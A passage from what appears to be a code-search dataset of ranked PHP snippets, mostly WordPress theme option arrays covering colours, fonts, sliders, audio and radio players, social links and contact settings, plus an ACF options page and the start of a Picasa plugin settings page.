page\",\n \"desc\" => \"Enter number of Videos here.\",\n \"id\" => \"nr_videos\",\n \"std\" => \"8\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Number of Audio per page\",\n \"desc\" => \"Enter number of Audio here.\",\n \"id\" => \"nr_audio\",\n \"std\" => \"8\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Number of Photos per page\",\n \"desc\" => \"Enter number of Photos here.\",\n \"id\" => \"nr_photos\",\n \"std\" => \"8\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Number of Events per page\",\n \"desc\" => \"Enter number of Events here.\",\n \"id\" => \"nr_events\",\n \"std\" => \"5\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Number of Artists per page\",\n \"desc\" => \"Enter number of Artists here.\",\n \"id\" => \"nr_artists\",\n \"std\" => \"8\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Number of Dj Mixes per page\",\n \"desc\" => \"Enter number of Dj Mixes here.\",\n \"id\" => \"nr_mixes\",\n \"std\" => \"8\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Style\",\n \"icon\" => \"style.png\",\n \"type\" => \"heading\"\n );\n \n $options[] = array(\n \"name\" => \"Theme Color\",\n \"desc\" => \"Choose a color for links and buttons.\",\n \"id\" => \"color_wize\",\n \"std\" => \"18cecf\",\n \"type\" => \"images\",\n \"options\" => array(\n '02c0f8' => $imagecolor . '02c0f8.png',\n '18cecf' => $imagecolor . '18cecf.png',\n 'ff0000' => $imagecolor . 'ff0000.png',\n 'fdb813' => $imagecolor . 'fdb813.png',\n 'ef65a3' => $imagecolor . 'ef65a3.png',\n 'ff1190' => $imagecolor . 'ff1190.png',\n 'f75c46' => $imagecolor . 'f75c46.png',\n '888888' => $imagecolor . '888888.png'\n )\n );\n \n $options[] = array(\n \"name\" => \"Fonts\",\n \"desc\" => \"Choose a font for your Headings, Buttons and Menu.\",\n \"id\" => \"font_pred\",\n \"std\" => \"Lato\",\n \"type\" => \"select\",\n \"options\" => array(\n \"Lato\" => \"Lato\",\n \"Dosis\" => \"Dosis\",\n \"Amaranth\" => \"Amaranth\",\n \"Signika\" => \"Signika\",\n \"Titillium Web\" => \"Titillium Web\",\n \"Gudea\" => \"Gudea\",\n \"Signika Negative\" => \"Signika Negative\",\n \"Port Lligat Sans\" => \"Port Lligat Sans\",\n \"Gentium Basic\" => \"Gentium Basic\"\n )\n );\n \n $options[] = array(\n \"name\" => \"Background\",\n \"desc\" => \"Select the type of background.\",\n \"id\" => \"type_background\",\n \"std\" => \"pattern\",\n \"type\" => \"radio\",\n \"options\" => array(\n 'pattern' => 'Pattern',\n 'image' => 'Image'\n )\n );\n \n $options[] = array(\n \"name\" => \"Background Pattern\",\n \"desc\" => \"Choose a pattern for background.\",\n \"id\" => \"patterns\",\n \"std\" => \"clubber\",\n \"type\" => \"images\",\n \"options\" => array(\n 'clubber' => $imagepatterns . 's_clubber.png',\n 'px_by_Gre3g' => $imagepatterns . 's_px_by_Gre3g.png',\n 'random_grey_variations' => $imagepatterns . 's_random_grey_variations.png',\n 'irongrip' => $imagepatterns . 's_irongrip.png',\n 'darkdenim3' => $imagepatterns . 's_darkdenim3.png',\n 'pinstriped_suit' => $imagepatterns . 's_pinstriped_suit.png',\n 'tex2res4' => $imagepatterns . 's_tex2res4.png',\n 'wild_oliva' => $imagepatterns . 's_wild_oliva.png'\n )\n );\n \n $options[] = array(\n \"name\" => \"Background Image\",\n \"desc\" => \"\",\n \"id\" => \"background_upload\",\n \"type\" => \"upload\"\n );\n \n $options[] = array(\n \"name\" => \"Slider\",\n \"icon\" => \"slider.png\",\n \"type\" => \"heading\"\n );\n \n $options[] = array(\n \"name\" => \"Slider\",\n \"desc\" => \"Check the box to activate slider.\",\n \"id\" => \"slider_active\",\n \"std\" => \"0\",\n \"type\" => \"checkbox\"\n );\n \n $options[] = array(\n \"name\" => \"Slider Type\",\n \"desc\" => \"Select the slider type.\",\n \"id\" => \"slider_type\",\n \"std\" => \"slider_small\",\n \"type\" => \"radio\",\n \"options\" => array(\n 'slider_small' => 'Small',\n 'slider_large' => 'Large'\n )\n );\n \n $options[] = array(\n \"name\" => \"Number of Slides\",\n \"desc\" => \"Enter number of slides here.\",\n \"id\" => \"slider_number\",\n \"std\" => \"5\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Slideshow Speed\",\n \"desc\" => \"Milliseconds between slider transitions.\",\n \"id\" => \"slider_speed_slideshow\",\n \"std\" => \"3000\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Animation Speed\",\n \"desc\" => \"Milliseconds between slider transitions.\",\n \"id\" => \"slider_speed_animation\",\n \"std\" => \"500\",\n \"type\" => \"text\"\n );\n \n \n $options[] = array(\n \"name\" => \"Audio\",\n \"icon\" => \"audio.png\",\n \"type\" => \"heading\"\n );\n \n $options[] = array(\n \"name\" => \"AutoPlay\",\n \"desc\" => \"Select on or off.\",\n \"id\" => \"player_autoplay\",\n \"std\" => \"autoplay_off\",\n \"type\" => \"radio\",\n \"options\" => array(\n 'autoplay_on' => 'On',\n 'autoplay_off' => 'Off'\n )\n );\n \n $options[] = array(\n \"name\" => \"Player: visible/hidden\",\n \"desc\" => \"Select visible or hidden.\",\n \"id\" => \"player_opened\",\n \"std\" => \"opened_open\",\n \"type\" => \"radio\",\n \"options\" => array(\n 'opened_open' => 'Visible',\n 'opened_closed' => 'Hidden'\n )\n );\n \n $options[] = array(\n \"name\" => \"Play Next When Finished\",\n \"desc\" => \"Select on or off.\",\n \"id\" => \"player_next\",\n \"std\" => \"next_on\",\n \"type\" => \"radio\",\n \"options\" => array(\n 'next_on' => 'On',\n 'next_off' => 'Off'\n )\n );\n \n $options[] = array(\n \"name\" => \"Audio for Home page\",\n \"desc\" => \"Enter the audio post ID to display the whole album on Home page.\",\n \"id\" => \"player_id\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Radio\",\n \"icon\" => \"radio.png\",\n \"type\" => \"heading\"\n );\n \n $options[] = array(\n \"name\" => \"Stream IP/Domain\",\n \"desc\" => \"Enter the IP or the domain with the port. eg: 81.92.219.14:8047\",\n \"id\" => \"radio_ip\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"AutoPlay\",\n \"desc\" => \"Select on or off.\",\n \"id\" => \"radio_autoplay\",\n \"std\" => \"radio_autoplay_off\",\n \"type\" => \"radio\",\n \"options\" => array(\n 'radio_autoplay_on' => 'On',\n 'radio_autoplay_off' => 'Off'\n )\n );\n \n $options[] = array(\n \"name\" => \"Player: visible/hidden\",\n \"desc\" => \"Select visible or hidden.\",\n \"id\" => \"radio_opened\",\n \"std\" => \"radio_opened_visible\",\n \"type\" => \"radio\",\n \"options\" => array(\n 'radio_opened_visible' => 'Visible',\n 'radio_opened_hidden' => 'Hidden'\n )\n );\n \n $options[] = array(\n \"name\" => \"Title\",\n \"desc\" => \"Enter the title of the radio post.\",\n \"id\" => \"radio_title\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Informations\",\n \"desc\" => \"Enter information about radio.\",\n \"id\" => \"radio_info\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n\n $options[] = array(\n \"name\" => \"Social Media\",\n \"icon\" => \"social.png\",\n \"type\" => \"heading\"\n );\n \n $options[] = array(\n \"name\" => \"Icons Social Header\",\n \"desc\" => \"Check the box to activate social icons in header.\",\n \"id\" => \"social_header\",\n \"std\" => \"0\",\n \"type\" => \"checkbox\"\n );\n \n $options[] = array(\n \"name\" => \"Icons Social Footer\",\n \"desc\" => \"Check the box to activate social icons in footer.\",\n \"id\" => \"social_footer\",\n \"std\" => \"0\",\n \"type\" => \"checkbox\"\n );\n \n $options[] = array(\n \"name\" => \"Logo Social\",\n \"desc\" => \"Check the box to activate social logo in footer.\",\n \"id\" => \"social_logo\",\n \"std\" => \"0\",\n \"type\" => \"checkbox\"\n );\n \n $options[] = array(\n \"name\" => \"Facebook\",\n \"desc\" => \"Input facebook link.\",\n \"id\" => \"facebook\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Twitter\",\n \"desc\" => \"Input Twitter link.\",\n \"id\" => \"twitter\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Digg\",\n \"desc\" => \"Input Digg link.\",\n \"id\" => \"digg\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"YouTube\",\n \"desc\" => \"Input YouTube link.\",\n \"id\" => \"youtube\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Vimeo\",\n \"desc\" => \"Input Vimeo link.\",\n \"id\" => \"vimeo\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"RSS\",\n \"desc\" => \"Input RSS link.\",\n \"id\" => \"rss\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Google +\",\n \"desc\" => \"Input Google + link.\",\n \"id\" => \"google\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"VK\",\n \"desc\" => \"Input VK link.\",\n \"id\" => \"vk\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Flickr\",\n \"desc\" => \"Input Flickr link.\",\n \"id\" => \"flickr\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"LastFM\",\n \"desc\" => \"Input LastFM link.\",\n \"id\" => \"lastfm\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Pinterest\",\n \"desc\" => \"Input Pinterest link.\",\n \"id\" => \"pinterest\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Amazon\",\n \"desc\" => \"Input Amazon link.\",\n \"id\" => \"amazon\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Beatport\",\n \"desc\" => \"Input Beatport link.\",\n \"id\" => \"beatport\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"MySpace\",\n \"desc\" => \"Input MySpace link.\",\n \"id\" => \"myspace\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n\t\n\t$options[] = array(\n \"name\" => \"Instagram\",\n \"desc\" => \"Input Instagram link.\",\n \"id\" => \"instagram\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n\t\n\t$options[] = array(\n \"name\" => \"SoundCloud\",\n \"desc\" => \"Input SoundCloud link.\",\n \"id\" => \"soundcloud\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n\t\n\t$options[] = array(\n \"name\" => \"MixCloud\",\n \"desc\" => \"Input MixCloud link.\",\n \"id\" => \"mixcloud\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n\t\n\t$options[] = array(\n \"name\" => \"Tumblr\",\n \"desc\" => \"Input Tumblr link.\",\n \"id\" => \"tumblr\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n\t\n\t$options[] = array(\n \"name\" => \"Resident Advisor\",\n \"desc\" => \"Input Resident Advisor link.\",\n \"id\" => \"resident\",\n \"std\" => \"\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Custom CSS\",\n \"icon\" => \"custom.png\",\n \"type\" => \"heading\"\n );\n \n $options[] = array(\n \"name\" => \"Custom CSS\",\n \"desc\" => \"Paste in your custom css here. Please avoid altering the original css files as it'll cause problems when you update the theme. \",\n \"id\" => \"custom_css\",\n \"std\" => \"\",\n \"type\" => \"textarea\"\n );\n \n $options[] = array(\n \"name\" => \"Contact\",\n \"icon\" => \"contact.png\",\n \"type\" => \"heading\"\n );\n \n $options[] = array(\n \"name\" => \"Email Address\",\n \"desc\" => \"Enter the email address where the email from the contact form should be sent to.\",\n \"id\" => \"email_adress\",\n \"std\" => \"[email protected]\",\n \"type\" => \"text\"\n );\n \n $options[] = array(\n \"name\" => \"Subject\",\n \"desc\" => \"Enter the subject for messages that are sent via the contact form.\",\n \"id\" => \"email_subject\",\n \"std\" => \"contact form mail\",\n \"type\" => \"text\"\n );\n \n return $options;\n}", "title": "" }, { "docid": "b5bf639e5859986dd6b878222c84b39a", "score": "0.6536224", "text": "function of_options()\n\t{\n\t\t$of_categories \t\t= array();\n\t\t$of_categories_obj \t= get_categories('hide_empty=0');\n\t\tforeach ($of_categories_obj as $of_cat) {\n\t\t $of_categories[$of_cat->cat_ID] = $of_cat->cat_name;}\n\t\t$categories_tmp \t= array_unshift($of_categories, \"Select a category:\");\n\n\t\t//Access the WordPress Pages via an Array\n\t\t$of_pages \t\t\t= array();\n\t\t$of_pages_obj \t\t= get_pages('sort_column=post_parent,menu_order');\n\t\tforeach ($of_pages_obj as $of_page) {\n\t\t $of_pages[$of_page->ID] = $of_page->post_name; }\n\t\t$of_pages_tmp \t\t= array_unshift($of_pages, \"Select a page:\");\n\n\t\t//Testing\n\t\t$of_options_select \t= array(\"one\",\"two\",\"three\",\"four\",\"five\");\n\t\t$of_options_radio \t= array(\"one\" => \"One\",\"two\" => \"Two\",\"three\" => \"Three\",\"four\" => \"Four\",\"five\" => \"Five\");\n\n\t\t//Sample Homepage blocks for the layout manager (sorter)\n\t\t$of_options_homepage_blocks = array\n\t\t(\n\t\t\t\"disabled\" => array (\n\t\t\t\t\"placebo\" \t\t=> \"placebo\", //REQUIRED!\n\t\t\t\t\"block_one\"\t\t=> \"Block One\",\n\t\t\t\t\"block_two\"\t\t=> \"Block Two\",\n\t\t\t\t\"block_three\"\t=> \"Block Three\",\n\t\t\t),\n\t\t\t\"enabled\" => array (\n\t\t\t\t\"placebo\" \t\t=> \"placebo\", //REQUIRED!\n\t\t\t\t\"block_four\"\t=> \"Block Four\",\n\t\t\t),\n\t\t);\n\n\n\t\t//Stylesheets Reader\n\t\t$alt_stylesheet_path = LAYOUT_PATH;\n\t\t$alt_stylesheets = array();\n\n\t\tif ( is_dir($alt_stylesheet_path) )\n\t\t{\n\t\t if ($alt_stylesheet_dir = opendir($alt_stylesheet_path) )\n\t\t {\n\t\t while ( ($alt_stylesheet_file = readdir($alt_stylesheet_dir)) !== false )\n\t\t {\n\t\t if(stristr($alt_stylesheet_file, \".css\") !== false)\n\t\t {\n\t\t $alt_stylesheets[] = $alt_stylesheet_file;\n\t\t }\n\t\t }\n\t\t }\n\t\t}\n\n\n\t\t//Background Images Reader\n\t\t$bg_images_path = get_stylesheet_directory(). '/images/bg/'; // change this to where you store your bg images\n\t\t$bg_images_url = get_template_directory_uri().'/images/bg/'; // change this to where you store your bg images\n\t\t$bg_images = array();\n\n\t\tif ( is_dir($bg_images_path) ) {\n\t\t if ($bg_images_dir = opendir($bg_images_path) ) {\n\t\t while ( ($bg_images_file = readdir($bg_images_dir)) !== false ) {\n\t\t if(stristr($bg_images_file, \".png\") !== false || stristr($bg_images_file, \".jpg\") !== false) {\n\t\t \tnatsort($bg_images); //Sorts the array into a natural order\n\t\t $bg_images[] = $bg_images_url . $bg_images_file;\n\t\t }\n\t\t }\n\t\t }\n\t\t}\n\n\n\t\t/*-----------------------------------------------------------------------------------*/\n\t\t/* TO DO: Add options/functions that use these */\n\t\t/*-----------------------------------------------------------------------------------*/\n\n\t\t//More Options\n\t\t$uploads_arr \t\t= wp_upload_dir();\n\t\t$all_uploads_path \t= $uploads_arr['path'];\n\t\t$all_uploads \t\t= get_option('of_uploads');\n\t\t$other_entries \t\t= array(\"Select a number:\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\");\n\t\t$body_repeat \t\t= array(\"no-repeat\",\"repeat-x\",\"repeat-y\",\"repeat\");\n\t\t$body_pos \t\t\t= array(\"top left\",\"top center\",\"top right\",\"center left\",\"center center\",\"center right\",\"bottom left\",\"bottom center\",\"bottom right\");\n\n\t\t// Image Alignment radio box\n\t\t$of_options_thumb_align = array(\"alignleft\" => \"Left\",\"alignright\" => \"Right\",\"aligncenter\" => \"Center\");\n\n\t\t// Image Links to Options\n\t\t$of_options_image_link_to = array(\"image\" => \"The Image\",\"post\" => \"The Post\");\n\n\n/*-----------------------------------------------------------------------------------*/\n/* The Options Array */\n/*-----------------------------------------------------------------------------------*/\n\n// Set the Options Array\nglobal $of_options;\n$of_options = array();\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('1 -Header options', 'myblog'),\n\t\t\t\t\t\t\"type\" \t\t=> \"heading\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Attention', 'myblog'),\n\t\t\t\t\t\t\"desc\" \t\t=> \"\",\n\t\t\t\t\t\t\"id\" \t\t=> \"attention\",\n\t\t\t\t\t\t\"std\" \t\t=> __('Go to the <b>Themes > Customize </b> to adjust the header background, Favicon and header text color.', 'myblog'),\n\t\t\t\t\t\t\"icon\" \t\t=> true,\n\t\t\t\t\t\t\"type\" \t\t=> \"info\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __(' Main title', 'myblog'),\n\t\t\t\t\t\t\"desc\" \t\t=> \"\",\n\t\t\t\t\t\t\"id\" \t\t=> \"head_h1\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Website logo', 'myblog'),\n\t\t\t\t\t\t\"desc\" \t\t=> \"\",\n\t\t\t\t\t\t\"id\" \t\t=> \"nav_logo\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"upload\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Header image', 'myblog'),\n\t\t\t\t\t\t\"desc\" \t\t=> \"\",\n\t\t\t\t\t\t\"id\" \t\t=> \"head_logo\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"upload\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Is the image to be round?', 'myblog'),\n\t\t\t\t\t\t\"desc\" \t\t=> \"\",\n\t\t\t\t\t\t\"id\" \t\t=> \"head_logo_avatar_check\",\n\t\t\t\t\t\t\"std\" \t\t=> 1,\n\t\t\t\t\t\t\"on\" \t\t=> __('Yes', 'myblog'),\n\t\t\t\t\t\t\"off\" \t\t=> __('No', 'myblog'),\n\t\t\t\t\t\t\"type\" \t\t=> \"switch\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Short Description', 'myblog'),\n\t\t\t\t\t\t\"desc\" \t\t=> \"\",\n\t\t\t\t\t\t\"id\" \t\t=> \"head_description\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"textarea\"\n\t\t\t\t);\n\n\t\t\t\t/* Option Page 2 - Show Articles */\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('2 - Show Articles', 'myblog'),\n\t\t\t\t\t\t\"type\" \t\t=> \"heading\"\n\t\t\t\t);\n\n\t\t\t\t$project_column_array = array(2, 3, 4, 6);\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Projects archive', 'myblog'),\n\t\t\t\t\t\t\"desc\" \t\t=> __('Count of project to show', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"project_column\",\n\t\t\t\t\t\t\"std\" \t\t=> \"2\",\n\t\t\t\t\t\t\"type\" \t\t=> \"select\",\n\t\t\t\t\t\t\"options\" \t=> $project_column_array\n\t\t\t\t);\n\n\t\t\t\t$url = get_stylesheet_directory_uri(). '/assets/images/';\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Theme color', 'myblog'),\n\t\t\t\t\t\t\"desc\" \t\t=> __('Select your theme color', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"theme_color\",\n\t\t\t\t\t\t\"std\" \t\t=> \"main\",\n\t\t\t\t\t\t\"type\" \t\t=> \"images\",\n\t\t\t\t\t\t\"options\" \t=> array(\n\t\t\t\t\t\t\t'main' => $url . 'main.png',\n\t\t\t\t\t\t\t'blue' => $url . 'blue.png',\n\t\t\t\t\t\t\t'green' => $url . 'green.png',\n\t\t\t\t\t\t\t'orange' => $url . 'orange.png',\n\t\t\t\t\t\t\t'flamingo' => $url . 'flamingo.png',\n\t\t\t\t\t\t\t'magenta' => $url . 'magenta.png'\n\t\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\t\t/* Option Page 3 - social networks */\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('3 - Social networks', 'myblog'),\n\t\t\t\t\t\t\"type\" \t\t=> \"heading\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Show on footer?', 'myblog'),\n\t\t\t\t\t\t\"desc\" \t\t=> \"\",\n\t\t\t\t\t\t\"id\" \t\t=> \"foot_social_check\",\n\t\t\t\t\t\t\"std\" \t\t=> 1,\n\t\t\t\t\t\t\"on\" \t\t=> __('Yes', 'myblog'),\n\t\t\t\t\t\t\"off\" \t\t=> __('No', 'myblog'),\n\t\t\t\t\t\t\"type\" \t\t=> \"switch\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Google', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"google\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Facebook', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"facebook\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Instagram', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"instagram\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Twitter', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"twitter\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Youtube', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"youtube\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Flickr', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"flickr\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('GitHub', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"github\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Linkedin', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"linkedin\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Stackoverflow', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"stackoverflow\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Pinterest', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"pinterest\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Feed', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"feed\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\n\t\t\t\t/* Option Page 4 - Footer footer */\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('4 - Footer options', 'myblog'),\n\t\t\t\t\t\t\"type\" \t\t=> \"heading\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Copyright text', 'myblog'),\n\t\t\t\t\t\t\"id\" \t\t=> \"copyright_txt\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"text\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Custom CSS style', 'myblog'),\n\t\t\t\t\t\t\"desc\" \t\t=> \"\",\n\t\t\t\t\t\t\"id\" \t\t=> \"footer_style\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"textarea\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> __('Custom script', 'myblog'),\n\t\t\t\t\t\t\"desc\" \t\t=> \"\",\n\t\t\t\t\t\t\"id\" \t\t=> \"footer_script\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"textarea\"\n\t\t\t\t);\n\n\t\t\t\t// Backup Options\n\t\t\t\t/*\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> \"Backup Options\",\n\t\t\t\t\t\t\"type\" \t\t=> \"heading\",\n\t\t\t\t\t\t\"icon\"\t\t=> ADMIN_IMAGES . \"icon-slider.png\"\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> \"Backup and Restore Options\",\n\t\t\t\t\t\t\"id\" \t\t=> \"of_backup\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"backup\",\n\t\t\t\t\t\t\"desc\" \t\t=> 'You can use the two buttons below to backup your current options, and then restore it back at a later time. This is useful if you want to experiment on the options but would like to keep the old settings in case you need it back.',\n\t\t\t\t);\n\n\t\t\t\t$of_options[] = array( \t\"name\" \t\t=> \"Transfer Theme Options Data\",\n\t\t\t\t\t\t\"id\" \t\t=> \"of_transfer\",\n\t\t\t\t\t\t\"std\" \t\t=> \"\",\n\t\t\t\t\t\t\"type\" \t\t=> \"transfer\",\n\t\t\t\t\t\t\"desc\" \t\t=> 'You can tranfer the saved options data between different installs by copying the text inside the text box. To import data from another install, replace the data in the text box with the one from another install and click \"Import Options\".',\n\t\t\t\t);\n\t\t\t\t*/\n\n\t}", "title": "" }, { "docid": "d2d02676e28dd0bad95f5b0d1d639351", "score": "0.65339625", "text": "public function setOptionsPage(): void\n {\n if (function_exists('acf_add_options_page')) {\n acf_add_options_page(array(\n 'page_title' => __('Configuration', 'zkd'),\n 'menu_title' => __('Configuration', 'zkd'),\n 'menu_slug' => 'theme-settings',\n 'capability' => 'manage_options',\n 'icon_url' => 'dashicons-list-view',\n 'redirect' => false\n ));\n }\n }", "title": "" }, { "docid": "55e279293c235906d241f8856e3cb1ec", "score": "0.65319765", "text": "public function run()\n {\n\n $options = [\n [\n 'name' => 'php',\n 'title' => 'php'\n ],\n [\n 'name' => 'site',\n 'title' => '网站'\n ],\n ];\n foreach($options as $option){\n $option['type'] = 'tag';\n $option['value'] = '';\n \\App\\Model\\Option::create($option);\n }\n }", "title": "" }, { "docid": "fd983b2fba030bcaf207c3c9eb52be66", "score": "0.6519657", "text": "function cws_gpp_options_page() {\n\n\t// global $get_page;\n\t\n\t$hook = 'cws_gpp';\n\t\n\n\tif ( ! current_user_can( 'manage_options') ){ wp_die( __( 'You do not have sufficient permissions to access this page.' ) ); }\n\t\n\t?>\n\t\t<div class=\"wrap\">\n\t\t\t<?php screen_icon(); ?>\n\t\t\t<h2>Google Picasa Pro Settings Page</h2>\n\t\t\t<?php\n\t\t\t\t$options = get_option( 'cws_gpp_options' );\t\t\n\n \t\t\t\t$WPPicasaPro = new CWS_WPPicasaPro();\n\n\t\t\t\t// Check if we need to authenticate before displaying options form...\n\t\t\t\t$cws_GPPAdmin = new CWS_GPPAdmin( $WPPicasaPro->preflight_errors );\n\t\n\n\t\t\tif( ! $WPPicasaPro->preflight_errors ) {\t\t\t\t\t\t\t\t\n\t\t\t\tif( isset( $_REQUEST[ 'cws_oauth_return'] ) ) {\n\t\t\t\t\tif( $cws_GPPAdmin->debug ) error_log( 'Returned from callback' );\n\t\t\t\t\t\n\t\t\t\t\tif ( ! isset( $_REQUEST['page'] ) || $_REQUEST['page'] != $hook ) return; // Make sure we play nicely with other OAUth 